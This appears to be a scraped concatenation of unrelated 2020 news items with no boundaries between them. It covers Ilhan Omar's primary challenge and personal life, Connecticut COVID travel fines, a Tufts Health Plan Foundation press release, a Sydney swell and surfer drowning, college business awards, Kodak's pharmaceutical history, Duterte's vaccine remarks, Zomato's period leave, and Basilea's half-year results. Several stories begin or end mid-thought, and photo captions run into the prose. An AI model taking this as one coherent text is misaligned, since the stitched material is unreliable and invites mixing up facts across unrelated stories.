January 2019. Within weeks she split House Democrats over comments she made about American support for Israel, that were widely perceived as anti-Semitic Rep. Ilhan Omar's (left) messy personal life also attracted unwanted attention to the freshman lawmaker. The now-twice divorced Omar was accused of having an affair with political consultant Tim Mynett (right) last summer. She married Mynett in March Antone Melton-Meaux (pictured) has taken advantage of Rep. Ilham Omar's national standing by suggesting she hasn't respresented her Minnesota district properly. He's also been aided by pro-Israel money after she was accused of making anti-Semitic comments He managed to outraise Omar six-to-one during the second fundraising quarter of 2020, in part thanks to help from pro-Israel groups who were angered by Omar's past anti-Semitic comments. He also received the endorsement of the Star Tribune, Minnesota's largest newspaper. 'While Omar wants to lead a movement, Melton-Meaux seeks to serve the Fifth District,' the Star Tribune's endorsement said. The nation's first Somali-American congresswoman has been a lightning rod since coming to Washington, D.C. Omar kicked off her Congressional career in 2019 by splitting the new Democratic House majority over tweets she wrote that used anti-Semitic stereotypes. 'Its all about the Benjamins baby,' Omar famously tweeted, referring to American politicians' support for Israel. Omar is one of only four Muslims to ever be elected to Congress. In response to her comments, the House twice voted on resolutions that condemned anti-Semitism - but also went after other types of bigotry - in an agreement between Omar's detractors and defenders within the Democratic party. Omar's messy personal life also produced headlines throughout her first year and a half in Congress. By the time she reached Washington, Omar had been married twice. She married Ahmed Abdisalan Hirsi, the father of her three children, originally in their 'faith tradition' in 2002, but legally in 2018. The couple reconciled after she was married to British citizen Ahmed Nur Said Elmi in 2009 and divorced in 2017. The couple broke up in 2011, Omar said. Minnesota Republican operatives and later President Trump have made the unfounded claim that Elmi is Omar's brother and she married him to help him enter the U.S. 'There's a lot of talk about the fact that she was married to her brother,' Trump said in July 2019. 'I know nothing about it. I hear she was married to her brother.' The same month, divorce documents filed by Dr. Beth Mynett in D.C. court accused Omar of having an affair with her husband Tim Mynett, a political consultant who did work on Omar's campaign. For months, DailyMail.com had captured Omar and Tim Mynett out together, but she denied the affair. Omar divorced Hirsi - who has since remarried - in October 2019. In March 2020, she announced her marriage to Mynett, once his divorce was also finalized. Melton-Meaux has argued that while Omar has received national attention, he would do a better job for Minnesota's Fifth District's constituents. 'I just felt like she was just engaged with too much outside the district and wasn't back here with the people, making herself accessible and accountable,' Melton-Meaux said in an interview with the Minnesota Reformer. The Star Tribune agreed. 'Omars 2018 victory launched her into the national spotlight as the first Muslim woman and first refugee elected to Congress,' the editorial board wrote. 'But her time has been marred by missteps, including remarks on Israel widely regarded as anti-Semitic, an outsized number of missed votes, and campaign-finance issues.' Among Omar's perceived financial issues include continuing to funnel money to her now-husband's political firm. 'It is just these kinds of ethical distractions that the Fifth District could do without,' the board said. 'In the Editorial Board interview, Omar took little responsibility for her rocky start, instead largely blaming her critics and saying her failing was perhaps in not realizing what a "special unicorn" she would be in Congress.' Omar has suggested Republicans are backing Melton-Meaux to push her out of Congress. 'The Republicans who fund Mitch McConnell and others have a very heavy-handed interest in a very imperialistic America,' she told the Reformer. They 'can't fathom that somebody who they think sholud even be in this counry now has a voice in Congress and this is why they have their handpicked candidate.' Two Connecticut residents returning from coronavirus hotspot states one from Florida, the other Louisiana have been fined for violating the states travel advisory. The residents were fined $1,000 for not filling out the public health form required of passengers landing at Bradley International Airport, and the traveler from Louisiana was fined another $1,000 for refusing to self-quarantine for 14 days, Hartford Business Journal reports. Connecticut Gov. Ned Lamont said the state wanted to send a message that officials are serious about the new public health order. I hate to do it, but were going to be serious and show people we are serious about this, and to date its made a difference, he said, as reported by the Journal. The travel restriction, which went live on Aug. 4, requires that anyone traveling to Connecticut from a state with a new daily positive test rate higher than 10 per 100,000 residents, or a state with a 10% or higher positivity rate over a seven-day rolling average, self-quarantine for two weeks. In Massachusetts, Gov. Charlie Bakers administration implemented a similar order fining residents $500 if they do not fill a form attesting that theyve received a negative COVID-19 test result or completed a 14-day quarantine before arrival. Related Content: "A history of systemic barriers and widespread inequities has left many behind," said Tom Croswell, president and CEO of Tufts Health Plan. "Our Foundation will continue to prioritize equity in all its work; we are making a long-term commitment to issues important to the community and to organizations led by those who represent communities of color." The $1 million will be divided equally among the three funds over the next five years. Each fund supports priorities identified by communities of color. The Foundation funding will advance work on health disparities and flaws in the health care delivery systems stemming from racism. The Foundation has also pledged additional resources for racial justice initiatives in the other states where it conducts business (Connecticut, New Hampshire and Rhode Island). This new funding is in addition to the $5.5 million already allocated for community investments by the Tufts Health Plan Foundation in 2020. "This moment requires unprecedented action and equitable funding of grass-roots leadership," said Aixa Beauchamp, co-founder, Latino Legacy Fund at the Boston Foundation. "Thank you, Tufts Health Plan Foundation, for your support of minority-based funds who often have to work twice as hard to raise dollars to have significant impact in their communities." "It is important to recognize that systemic racism has impeded progress," said George Russell, Jr., Foundation board member, retired executive and former president of State Street Foundation. "Meaningful change will come when we make loans to small businesses led by people of color, pay a livable wage, correct discriminatory hiring practices, and prohibit evictions and foreclosures during these difficult and challenging COVID-19 times. This also will help ensure a robust and equitable recovery." "The Asian Community Fund (ACF) is deeply grateful for Tufts Health Plan Foundation's visionary $1 million gift for racial and social justice," said Paul Lee, a member of the Boston Foundation board of directors. "The ACF, created at the Boston Foundation by Asian American community leaders, seeks to overcome systemic inequities that have denied diverse Asian American communities the opportunities available to all residents of Massachusetts. We will work synergistically with our Black and Latinx colleagues to address persistent issues such as leadership development, mentorship, public health, education, housing, economic opportunity, language and immigrant rights (including DACA) to unlock the full potential of the Asian American community." "The New Commonwealth Fund is thrilled to receive support from Tufts Health Plan," said Myechia Minter-Jordan M.D., M.B.A., one of the fund's founding members. "We look forward to tackling together long-standing health inequities that impact communities of color." "The COVID-19 pandemic and the Black Lives Matter movement have surfaced rooted systemic inequalities and health disparities that we can no longer ignore," said Juan Lopera, Tufts Health Plan's business diversity officer. "At Tufts Health Plan, we have a significant role to play in addressing health disparities, supplier diversity and inclusion, workplace equity and community engagement." Tufts Health Plan and its Foundation have committed more than $2 million to support nonprofit organizations responding to the coronavirus pandemic. The funds and in-kind donations support organizations working on food insecurity, inequities in housing and other services, helping women- and minority-owned small businesses reopen, and promoting racial justice. The Foundation continues a two-for-one match for donations by Tufts Health Plan employees and board members to nonprofits affected by COVID-19 and organizations advancing social justice. Since March, more than $280,000 has gone to community organizations through this program. As the global COVID-19 pandemic shows no signs of abating, Tufts Health Plan continues to support its members, providers, customers, employees and others in the community through: Enhancing benefits for members Compensating providers at 100 percent of an in-office rate for telehealth Working with providers on a case-by-case basis to address their concerns regarding payment stability Extending premium payment periods for employers who need a bit more time to make payment on a case by case basis Establishing an Employee Relief Fund to support Tufts Health Plan employees who have been affected by the coronavirus pandemic and are experiencing financial hardship, such as the loss of a job by someone in their household Read more on Tufts Health Plan's response to the coronavirus pandemic here. About Tufts Health Plan Foundation Established in 2008, Tufts Health Plan Foundation supports the health and wellness of the diverse communities we serve. The Foundation has given more than $40 million to Connecticut, Massachusetts, New Hampshire, and Rhode Island nonprofits that promote healthy living with an emphasis on older people and will give more than $5 million to community organizations this year. The Foundation began funding in New Hampshire in 2016 and in Connecticut in 2019. Tufts Health Plan Foundation funds programs that move communities toward implementing age-friendly policies and practices that are relevant, focus on older people, and include them in community solutions. Visit www.tuftshealthplanfoundation.org for grant program information and follow us on Twitter, Facebook and YouTube. About Tufts Health Plan Tufts Health Plan is nationally recognized for its commitment to providing innovative, high-quality health care coverage. Staying true to our mission of improving the health and wellness of the diverse communities we serve, we touch the lives of more than 1.14 million members in Massachusetts, Rhode Island, New Hampshire and Connecticut through employer-sponsored plans; Medicare; Medicaid and Marketplace plans, offering health insurance coverage across the life span regardless of age or circumstance. We are continually among the top health plans in the country based on quality and member satisfaction. Our Tufts Medicare Preferred HMO and Senior Care Options plans received a 5-star rating from the Centers for Medicare & Medicaid Services, the highest rating possible.* Our commercial HMO/POS and Massachusetts PPO plans are rated 5 out of 5 the highest rating possible by the National Committee for Quality Assurance (NCQA).** Our Medicaid plan is rated 4.5 out of a possible 5.*** To learn more about how we're redefining what a health plan can do, visit www.tuftshealthplan.com/whatwedo . Connect with us on Facebook , Twitter , YouTube and LinkedIn . *Every year, Medicare evaluates plans based on a 5-Star rating system. Star Ratings are calculated each year and may change from one year to the next. For more information on plan ratings, go to www.medicare.gov. Tufts Medicare Preferred HMO plans received 5 out of 5 stars for contract years 2016, 2017, 2018, 2019, 2020. **NCQA's Private Health Insurance Plan Ratings 20192020 ***NCQA's Medicaid Health Insurance Plan Ratings 2019-2020. CONTACT Alrie McNiff Daniels 617-301-2715 [email protected] Kathleen Makela 617-480-9590 [email protected] SOURCE Tufts Health Plan Foundation Related Links http://www.tuftshealthplanfoundation.org Sydney board riders have scored some unusual waves inside the harbour as a monster swell continues to pound the eastern seaboard. Surfers were captured taking to the waves at Balmoral Beach as the large south-east swell made its way into secluded corners of the harbour, gifting keen surfers the chance to ride waves at novelty breaks across the city. The swell peaked at five metres on Monday, with powerful and damaging surf and winds lashing the coast, leaving conditions not for the faint-hearted. While dangerous conditions lashed the open coastline, novice board riders were seen surfing rare waves in the typically placid waters off Balmoral on the north side of the harbour. Surfers were spotted riding waves in Sydney Harbour at Balmoral Beach on Monday during the big southeast swell The five metre swell made it's way into secluded corners of the Harbour, gifting playful waves for novice surfers A hazardous surf warning is still in place for Tuesday in the Coffs Coast, Macquarie Coast, Hunter Coast, Sydney Coast, Illawarra Coast, Batemans Coast and Eden Coast, with wave heights set to decrease into the end of the week. The swell has been generated by a large low pressure system parked off of NSW, with waves causing significant erosion along the coast line. The dangerous conditions brought tragedy on Sydney's northern beaches after a surfer drowned after being dragged under a storm water pipe at Collaroy. The 44-year-old man was seen in footage entering the surf before being dragged toward the storm drain and underwater by the strong southerly current. Carol Chaffer and her 12-year-old son Sam dragged the unconscious surfer to shore and performed CPR on him before paramedics arrived. He was taken to Royal North Shore Hospital in a critical condition and died in hospital a short time later. Emergency crews on the scene after a surfer died after being pulled from the water near a storm drain at Collaroy Beach Ms Chaffer said it was her son who first noticed that something had gone awry. 'We were down the other end of the beach and my son said, 'mum he's gone under the pipe', so we came down and eventually he popped out the other side of the pipe,' she told 9News. 'Then two people jumped down and grabbed him, we pulled him out and started CPR.' A witness at the scene described the ordeal as one of the 'most horrific things I've ever seen in my life'. The powerful conditions caused Manly fast ferries to be cancelled on Monday morning due to large swells in the harbour, while train services on the south coast line were briefly disrupted. Damaging wind gusts of more than 90km/h were recorded along the Sydney and Illawarra coast where a severe weather warning was in place. The Manly Fast Ferry resumed its service on Tuesday while the regular ferry remained closed due to the strong surf conditions Two kite surfers revel in the strong winds and waves at Long Reef on Sydney's northern beaches on Monday An SES member works on a drain in Gerringong on the NSW south coast after extreme rains hit the region Kiama SES volunteers conduct a flood rescue at Shoalhaven Heads in torrential rain and flood conditions on Tuesday Wild winds and torrential rain continued from the weekend into Monday and Tuesday, causing flash flooding in parts of New South Wales and Canberra. The SES ordered south coast residents in Moruya, Sussex Inlet and Nowra to move to higher ground after the Shoalhaven River peaked at 4.2 metres on Tuesday. The SES conducted more than 40 flood rescues across NSW after the downpour. Conditions are set to ease across NSW from Wednesday, with sunny skies, light winds and a top of 21C forecast in Sydney on Thursday. Rain is forecast to return to the city over the weekend, with late showers forecast on Friday into Saturday and Sunday, before sunshine returns for the start of next week. A strong wind warning is in place for Tuesday and Wednesday for Victoria's west and central coast with rain due to set in and increase for the remainder of the week. South Australia will cop strong winds and rain on Tuesday, with wet weather forecast to remain over the weekend. Strong winds are also forecast on the Esperance coast and Eucla coast in Western Australia on Wednesday, with light showers forecast in Perth through the week. FCC President Elizabeth Burmaster said, We are proud to recognize and celebrate our 2020 award recipients for the significant impact they have on our students, as well as our community as a whole. President Elizabeth Burmaster has announced the 2020 recipients of the Frederick Community College Presidents Business Appreciation Awards. These annual awards recognize business and non-profit partners for their commitment, contributions, and support of the College mission and its students. Our business partnerships are a critical part of ensuring our students have every opportunity to succeed while at FCC and once they enter the workforce, FCC President Elizabeth Burmaster said. We are proud to recognize and celebrate our 2020 award recipients for the significant impact they have on our students, as well as our community as a whole. Non-Profit Partner of the Year Advocates for Homeless Families FCC has had a longstanding partnership with Advocates for Homeless Families (AFHF), which help homeless and at-risk families achieve success and self-sufficiency through a comprehensive program of support. Through a close working relationship, FCC refers homeless or at-risk students with children to AFHF to address their housing needs. The assistance that AFHF provides those students makes it easier for them to stay enrolled at FCC. AFHF also refers their participants to FCC to acquire training or education to help them move toward self-sufficiency. AFHF program staff often connect participants to the Office of Adult Services, where they receive information and assistance to enroll in training or programs of study, acquire funding resources, and are supported as they complete their studies. We are grateful to AFHF for filling a vital need in our community, President Burmaster said. We have seen firsthand the incredible ways AFHF supports participants as they overcome challenges and better themselves. We are proud to work with AFHF to provide training and education that can change the future for participants. Business Donor of the Year Brian Gaudet and Dr. MJ Rosovitz of the Battelle National Biodefense Institute (BNBI) Communications Director Brian Gaudet and is Senior Principal Investigator Dr. MJ Rosovitz are being recognized for their work and partnership on behalf of Battelle National Biodefense Institute (BNBI) that supports FCC students. BNBI manages and operates the National Biodefense Analysis & Countermeasures Center for the U.S. Department of Homeland Security. Last year, Brian and Dr. Rosovitz played a critical role in the creation of the Battelle National Biodefense Institute STEM Scholarship. The $6,000 a year scholarship is awarded to two students enrolled in cybersecurity, computer science, biology, biotechnology, math, chemistry, or engineering (STEM) at FCC. This scholarship is renewable annually until the student graduates. Earlier this year, BNBI also donated three MacBook Pro laptops that can be used by students studying in the FCC Biotechnology program. We thank Brian, Dr. Rosovitz, and BNBI for believing in our students, President Burmaster said. Their support helps FCC serve its mission and makes it easier for our STEM students to reach their academic and career goals. EAST GREENBUSH Kodak's recent bungling of its blockbuster $765 million deal with the federal government to start making pharmaceuticals an agreement that would create hundreds of jobs for the Rochester area comes three decades after the company's previous venture into the drug business spelled disaster for the Capital Region. Back in 1988, Kodak was billed as a "white knight" for acquiring Sterling Drug Co., which employed 1,300 people in Rensselaer County at the time, fending off a hostile takeover of Sterling by the Swiss drug maker F. Hoffmann-La Roche & Co. Although primarily known for its photo and film business, Kodak had developed hundreds of thousands of chemical compounds over the course of its history that it believed could be useful to the drug industry. It used the Sterling acquisition to gain a quick foothold into the pharmaceutical industry. Sterling employees and local economic development officials were happy at first that Kodak had won the bidding on Sterling with a $5.1 billion offer, believing that Rochester-based Kodak would be more apt to maintain Sterling's local research and manufacturing facilities in East Greenbush and Rensselaer. But that optimism ended quickly when Kodak announced only a year later that it would be packing up and moving the whole operation to Pennsylvania. "These are hundreds of people whose families have worked there generation after generation and I know personally," then East Greenbush Supervisor Michael VanVoris said at the time. "We're kind of shocked." Officials in Rochester were similarly taken aback last week when Kodak's plans to re-launch its pharma business were put on hold by the Trump administration pending an investigation to unusual stock trading activity. Kodak's shares soared from $2 to $40 late last month after Trump announced the government was giving Kodak a $765 million loan to re-establish its drug division to help the U.S. maintain a domestic supply of certain drug ingredients. The deal would have created 350 jobs, mostly in Rochester, although some would be located in Minnesota. Kodak said it is conducting its own review of stock trading by board members and executives using a newly formed board committee that will work with the law firm Akin Gump Strauss Hauer & Feld. "The committee, comprised of directors Jason New and William G. Parrett, will oversee an internal review of recent activity by the company and related parties in connection with the announcement of a potential loan by the U.S. International Development Finance Corporation to support the launch of Kodak Pharmaceuticals," the company said in a statement issued Aug. 7. It is unclear if the Trump administration would reinstate the loan and allow Kodak to move forward with its new drug unit if no wrongdoing is uncovered. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. Back in 1989, Kodak similarly disappointed local officials. New York state couldn't even convince Kodak to remain in Rensselaer County with a state incentive package that was valued at more than $100 million. "Obviously we're very unhappy about what happened," the late Gov. Mario Cuomo said after failing to keep Kodak in the Capital Region. "We tried very hard. Sterling said that. Now we have to see what we can do for the people of Rensselaer (County)." Kodak gave up on its initial foray into the pharmaceutical business back in 1994 when it sold the operation to Sanofi. The East Greenbush site where Sterling had its research operations ended up eventually becoming a biotech hub, with the University at Albany locating its school of public health there. Several biotech firms have also set up shop there, including Regeneron Pharmaceuticals, which today employs more than 3,000 people locally and is growing with new facilities being constructed at another site not far away. lrulison@timesunion.com Fencing went up around the village landmark two weeks ago and people have been buzzing about it on social media. Some residents even took a drive over to 63rd Street to take photos. Residents have also been asking if they can retrieve a brick from the former landmark. Philippines' Duterte has 'huge trust' in Russia vaccine, volunteers for trial FILE PHOTO: President Rodrigo Duterte speaks after his arrival in Davao By Enrico Dela Cruz MANILA (Reuters) - Philippine President Rodrigo Duterte has lauded Russia's efforts to develop a coronavirus vaccine and is willing to personally participate in trials, as he welcomed a supply offer from Moscow that he expects will be free of charge. Russia on Tuesday became the first country in the world to grant regulatory approval for a COVID-19 vaccine, paving the way for mass domestic inoculation even as the final stage of clinical trials continue. Russia has offered to supply or co-manufacture the vaccine in the Philippines, which said it was ready to work with Moscow on trials, supply and production. The Philippines has among Asia's highest case numbers, which rose by 2,987 to 139,538 on Tuesday. "I will tell President (Vladimir) Putin that I have huge trust in your studies in combating COVID and I believe that the vaccine that you have produced is really good for humanity," Duterte said late on Monday. The global race to develop a COVID-19 vaccine has raised concern that speed and national prestige could compromise safety. To allay public fears, Duterte offered to be a guinea pig and said: "I can be the first they can experiment on." In July, he made a plea to his Chinese counterpart to make the Philippines a priority if it develops a vaccine, amid concern in developing countries about availability. He has restored a strict lockdown in and around the capital Manila as medical frontliners sought a "timeout" to control surging infections. Speaking on Monday, when a record 6,958 new infections were reported, Duterte said he would deploy soldiers to enforce the lockdown if the situation becomes a "runaway contagion". The lockdown has been among the world's longest and toughest and Duterte's opponents and rights groups have voiced concern about his security-centred approach and the conduct of police. Opposition Senator Risa Hontiveros on Tuesday said a comprehensive health-centred strategy should be adopted urgently, otherwise "our health infrastructure could collapse". (Editing by Martin Petty) How many days a month have you missed work or requested a day off for stomach pains and cramps because of menstruation? This is the question one of Indias largest food-delivery firms, Zomato, put to its 4,000 employees, 35 per cent of whom are women, in announcing a new paid period leave policy for employees on Saturday. The policy, not common among large global companies, allows up to 10 days of period leave a year and applies to transgender employees. The policy is considered a bold move in tackling an age-old taboo in India, where 71 per cent of young women remain unaware of menstruation until their first cycle, according to UNICEF. The companys founder and chief executive officer, Deepinder Goyal, said in a statement to his employees: There shouldnt be any shame or stigma attached to applying for a period leave. You should feel free to tell people on internal groups, or emails that you are on your period leave for the day. He added, This is a part of life. Zomatos period leave drew headlines around the world and kudos from social media users and womens rights advocates. Its a really progressive move; its long overdue, said independent journalist and columnist Rituparna Chatterjee, who is also the communications director at Ungender Legal Advisory, an Indian organization whose goal is to help companies achieve gender inclusion. It gives the option what we didnt have was the option to rest if when in pain, she said, adding, Now at least employees working for Zomato have that. For decades, menstruation has been a barrier to womens equality. The monthly menstruation cycle can cause a variety of painful symptoms that continue with each cycle until menopause, typically occurring between the ages of 45 and 55. Menstrual cycle symptoms can include pelvic and lower back pain, headaches, fatigue and mood swings caused by a fluctuation in hormonal levels. Period-related pain, also referred to as dysmenorrhea, is common worldwide. It often affects school and workplace performance, and can grow worse with age. Painful periods interfere with 20 per cent of womens daily activities, according to a 2012 study. In some parts of the world, women face discrimination, are forced to suffer menstrual pain in silence in the workplace or lose pay by staying home. In Nepal, girls are banished to period huts during their cycle because they are considered polluted, even toxic. The practice has had deadly consequences: In 2017, a teenager in western Nepal was bitten and killed by a poisonous snake. In India, viewing menstruation as taboo causes real harm, author Rose George notes in The Taboo of Menstruation. Women face discrimination and superstition, sanitary supplies remain unavailable or unaffordable, and access to safe and clean toilet facilities serve as barriers in managing menstrual hygiene. Countries have made strides in addressing the issues surrounding periods, such as tackling the tampon tax. The Scottish Parliament this year passed a bill to make pads and tampons free across the board. But Zomatos policy is the latest move to try to dismantle wider outdated workplace policies. In Japan, for example, Yumi Ishikawa, a model, actor and temporary worker, gathered 18,000 signatures for a petition to end employer dress codes that force women to wear heels. Zomato isnt the first Indian company to introduce period leave. The state of Bihar has had two extra days of casual leave for government employees to take time off for periods since 1992. In 2017, the digital media company Culture Machine, which has offices in five cities in India, put in place a menstrual leave policy independent of vacation and sick days. There are also forms of menstrual leave policies in Indonesia, Japan, South Korea, Taiwan and Zambia. But while advocates say the policies should be widely expanded, others contend that the additional days off could hinder womens progress in the workplace and be used to justify lower salaries and a hiring bias against women. But Zomato a food aggregator that in 12 years has grown to become one of the largest food firms in the world, acquiring Ubers food-delivery business in India this year and maintaining a presence in 24 countries and over 10,000 cities is forging ahead. Company employees can apply for period leave through a human resources portal, its statement said, and a sexual harassment team will be in place to respond to any employees facing harassment for taking the time off. Zomatos chief executive officer, Goyal, said in his statement, It is our job to make sure that we make room for our biological needs while not lowering the bar for the quality of our work and the impact that we create. The companys categorization of paid period leave is important, Chatterjee said. It distinguishes it from a few additional days of casual leave and can drive the national conversation. There are an enormous number of menstruators who work in the unorganized labour sector as domestic workers, and no houses give them a day off when they have their periods, Chatterjee said. This conversation should happen so this gets normalized. Read more about: Financial results reflecting strong Cresemba and Zevtera performance and continued focus on expense management Operating profit of CHF 12.8 million and net profit of CHF 9.9 million, including positive one-time effect from the sale of headquarters property Solid cash and investments of approximately CHF 145 million, excluding cash proceeds from July bond transactions for improving debt maturity profile No material COVID-19-related impact on operating performance and key studies for derazantinib and lisavanbulin and limited delay in phase 3 study with Zevtera FY 2020 guidance on revenues and operating expenses confirmed; strong year-end cash and investments position expected Basel, Switzerland, August 11, 2020 Basilea Pharmaceutica Ltd. (SIX: BSLN) announced today its financial results for the first six months ended June 30, 2020. David Veitch, Chief Executive Officer, said: "We have achieved significant milestones in a highly volatile and challenging environment in the first half year of 2020. Despite the COVID-19 pandemic, the global in-market sales of our anti-infective brands, Cresemba and Zevtera, continued to show strong growth. We have also seen no material COVID-19-related impact on the key studies for our most advanced oncology drug candidates, derazantinib and lisavanbulin, and expect as previously announced, only a limited delay of potentially up to one quarter in the patient enrolment timelines for our phase 3 study with Zevtera in patients with Staphylococcus aureus bacteremia. Importantly, the U.S. FDA approved the extension to the maximum treatment duration in the study from four to up to six weeks, which will be beneficial for positioning, should the drug be approved, as it would allow for the treatment of more difficult-to-treat infections." He added: "We have also taken a major step forward in the optimization of our debt maturity profile, by the successful placement of new senior convertible bonds of approximately CHF 97 million and the repurchase of approximately CHF 47 million of our outstanding convertible bonds. Through this, we extended in an initial step the maturity of about 25 percent of our mid-term debt to 2027. In addition, we sold our headquarters property in preparation to moving to a new location in the Basel area in 2022. Based on both a strong underlying financial performance and the one-time effect from this sale, we are pleased to report an operating profit of approximately CHF 13 million and a net profit of almost CHF 10 million for the first half-year 2020." He continued: "We are looking forward to a number of important milestones in our oncology portfolio in the second half of the year and beyond. Following the recently announced completion of patient enrolment into the first cohort of the FIDES-01 derazantinib study in patients with bile duct cancer and FGFR2 gene fusions, we are expecting to present topline results in the second half of 2020. Interim results from patients with other FGFR2 genetic aberrations, who are included in the second cohort of this study, are also anticipated in the second half of the year. We are on track with patient enrolment in the urothelial cancer, FIDES-02 derazantinib study and are planning to start the FIDES-03 derazantinib study, in gastric cancer, in the third quarter of 2020. In addition, we are preparing the start of the phase 2 study with our tumor checkpoint controller, lisavanbulin, in patients with brain cancer within the next few months." Financial summary Total revenue in the first half-year 2020 increased to CHF 69.3 million (H1 2019: CHF 63.2 million). Revenue contributions from the two marketed brands Cresemba and Zevtera increased by 17.2% to CHF 62.0 million (H1 2019: CHF 52.9 million), of which CHF 36.5 million (H1 2019: CHF 30.1 million) relate to non-deferred revenue and CHF 25.5 million (H1 2019: CHF 22.8 million) to recognition of deferred revenue. Deferred revenue is recognized for upfront, development and regulatory milestone payments received in prior years from partners. Other revenue amounted to CHF 7.2 million (H1 2019: CHF 10.1 million). This included CHF 6.6 million BARDA reimbursements (H1 2019: CHF 9.9 million), which are offsetting a substantial portion of the ceftobiprole phase 3 development expenses.1 The BARDA reimbursements year-on-year decreased in line with the reduced development expenses after the successful completion of the ceftobiprole phase 3 skin infection study and due to the COVID-19 related slower enrolment into the bacteremia study. In the first half-year 2020, investments in Basilea's pipeline resulted in research and development expenses of CHF 43.9 million (H1 2019: CHF 50.8 million). Such expenses were mainly driven by costs for the phase 3 program for ceftobiprole, the costs related to the ongoing preclinical and clinical program for derazantinib and the ongoing pediatric programs for ceftobiprole and isavuconazole. Selling, general and administrative expenses decreased to CHF 14.4 million (H1 2019: CHF 16.2 million). As a result of increasing sales of products to partners, cost of products sold increased to CHF 13.1 million (H1 2019: CHF 9.4 million). In the first half-year of 2020, the operating profit amounted to CHF 12.8 million (H1 2019: operating loss of CHF 13.2 million), leading to a net profit of CHF 9.9 million (H1 2019: net loss CHF 15.4 million), which resulted in a basic earnings and diluted earnings per share of CHF 0.92 and CHF 0.91, respectively (H1 2019: basic and diluted loss per share CHF 1.44). Net cash consumption from operating activities (excluding cash inflow from the sale of the headquarters property) in the first half-year 2020 was reduced by 27% to CHF 33.2 million as compared to CHF 45.4 million in H1 2019. This is a result, on the one hand of the significant increase in cash inflow based on Cresemba and Zevtera performance and, on the other hand, of Basilea's continued focus on managing its operating expenses by continuously optimizing its investments into its preclinical and clinical portfolio. Combined cash and short- and long-term investments amounted to CHF 144.7 million as of June 30, 2020, compared to CHF 161.0 million as of December 31, 2019. Key financial figures (In CHF million, except per share data) H1 2020 H1 2019 Product revenue 30.5 25.4 Contract revenue 31.5 27.6 Revenue from R&D services 0.2 0.1 Other revenue 7.1 10.1 Total revenue 69.3 63.2 Cost of products sold (13.1) (9.4) Research & development expenses, net (43.9) (50.8) Selling, general & administrative expenses (14.5) (16.2) Total cost and operating expenses (71.5) (76.4) Profit from sale of assets 15.0 - Operating profit/(loss) 12.8 (13.2) Net profit/(loss) 9.9 (15.4) Net cash used in operating activities (33.1) (45.4) Basic earnings/(loss) per share, in CHF 0.92 (1.44) Diluted earnings/(loss) per share, in CHF 0.91 (1.44) (In CHF million) June 30, 2020 Dec. 31, 2019 Cash and short- and long-term investments 144.7 161.0 Note: Consolidated figures in conformity with U.S. GAAP; rounding was applied consistently. The unaudited, condensed consolidated interim financial statements of Basilea Pharmaceutica Ltd. for the first half-year 2020 can be found on the Company's website at https://www.basilea.com/financial-reports. FY 2020 financial guidance Basilea provides the following updated financial guidance for full-year 2020 based on an assumed average USD/CHF exchange rate of approximately 0.94 in H2 2020 and a gradual easing of COVID-19 lock-down measures over the remainder of 2020: Revenue contributions from Cresemba and Zevtera, excluding deferred revenue recognized for payments received in prior years, are expected to grow to CHF 77-87 million (+12% to +27% y-o-y), reflecting the continued significant growth of in-market sales by our partners. CHF 77-87 million (+12% to +27% y-o-y), reflecting the continued significant growth of in-market sales by our partners. Total R&D and SG&A expenses are expected to remain approximately stable. Cost of products sold is expected to increase based on higher product deliveries to partners. An anticipated extension of the supply period to Pfizer is expected to positively affect revenue and increase cost of products sold, primarily in 2021. An anticipated extension of the supply period to Pfizer is expected to positively affect revenue and increase cost of products sold, primarily in 2021. The anticipated operating loss amounts to CHF 5-15 million. Cash and short- and long-term investments are expected to be approximately CHF 150 million at year-end 2020. This represents a significant increase compared to the initial guidance, due to the proceeds from the headquarters property sale and the convertible bond transactions and being partially offset by a temporary increase in working capital, which is anticipated to be reversed in early-2021. (In CHF million) FY 2020e (updated) FY 2020e (initial) FY 2019a Cresemba & Zevtera revenue (non-deferred) 77-87 77-87 68.7 Cresemba & Zevtera revenue (deferred) 33 33 45.6 Other (mostly BARDA reimbursements) 17-18 18 20.0 Total revenue 128-138 128-138 134.4 Cost of products sold 23 25 18.9 R&D and SG&A 135 133 132.7 Profit from sale of assets 15 0 0 Operating loss 5-15 20-30 17.2 Cash and short- and long-term investments (year-end) 150 100-110 161.0 Portfolio - Continued commercial success of our anti-infective brands and important upcoming milestones for our oncology drug candidates Cresemba in-market sales continue to grow Cresemba has reached USD 220 million "in-market sales" for the 12 months to the end of March 2020, which is a more than 30% growth year-on-year.2 Our partners have reported a number of additional approvals and launches in territories around the world since the beginning of the year. This includes launches in key markets in Asia Pacific and approval in Russia. These triggered commercial and regulatory milestone payments of approximately CHF 6 million from Pfizer to Basilea. To date, Cresemba has been launched in 45 countries and marketing application processes have been initiated in a number of additional countries, including in China, where the Marketing Authorization Application for mucormycosis was recently accepted for regulatory review by the health authority. We therefore remain confident that our partners will have launched Cresemba in 60 countries by the end of 2021. Zevtera (ceftobiprole) SAB phase 3 study now expanded to enrol more difficult-to-treat patients The U.S. Food and Drug Administration (FDA) approved the amendment of the protocol for the phase 3 study ERADICATE, which is conducted in patients with Staphylococcus aureus bacteremia (SAB).3 This amendment extends the maximum treatment duration from four, to now up to six weeks, which allows for the inclusion of patients with more difficult-to-treat infections, including those with complications such as osteomyelitis and epidural or cerebral abscess. We expect that the recruitment of the ERADICATE study can be completed in H2 2021. If the study is positive, as reported for the TARGET phase 3 study last year, which evaluated ceftobiprole in the treatment of patients with acute bacterial skin and skin structure infections, Basilea plans to submit a New Drug Application (NDA) to the FDA.4 As ceftobiprole was designated a Qualified Infectious Disease Product (QIDP) by the FDA for these indications, if approved, ceftobiprole will be eligible to receive ten years of market exclusivity in the U.S. from the date of approval. Key oncology clinical studies with derazantinib and lisavanbulin remain on track In July, we announced that the patient enrolment into the first cohort of the FIDES-01 study with the FRGR kinase inhibitor, derazantinib, has been completed.5 This first cohort enroled patients with advanced intrahepatic cholangiocarcinoma (iCCA), a type of bile duct cancer, whose tumors expressed fusions of the FGFR2 gene, a genetic aberration which has previously been identified as driving this type of cancer. A second cohort, which enrols iCCA patients with other FGFR2 genetic aberrations, namely mutations and amplifications, is ongoing with interim results expected during H2 2020. The results from the second cohort will support defining the full therapeutic potential of derazantinib in iCCA and potentially further strengthen the differentiation of derazantinib from other FGFR kinase inhibitors. In addition, the clinical development program for derazantinib includes two further Phase 1b/2 studies, the ongoing FIDES-02 in patients with urothelial cancer and the planned FIDES-03, in patients with advanced gastric cancer, which is expected to start in Q3 2020.6 In FIDES-02 and FIDES-03, we are not only exploring 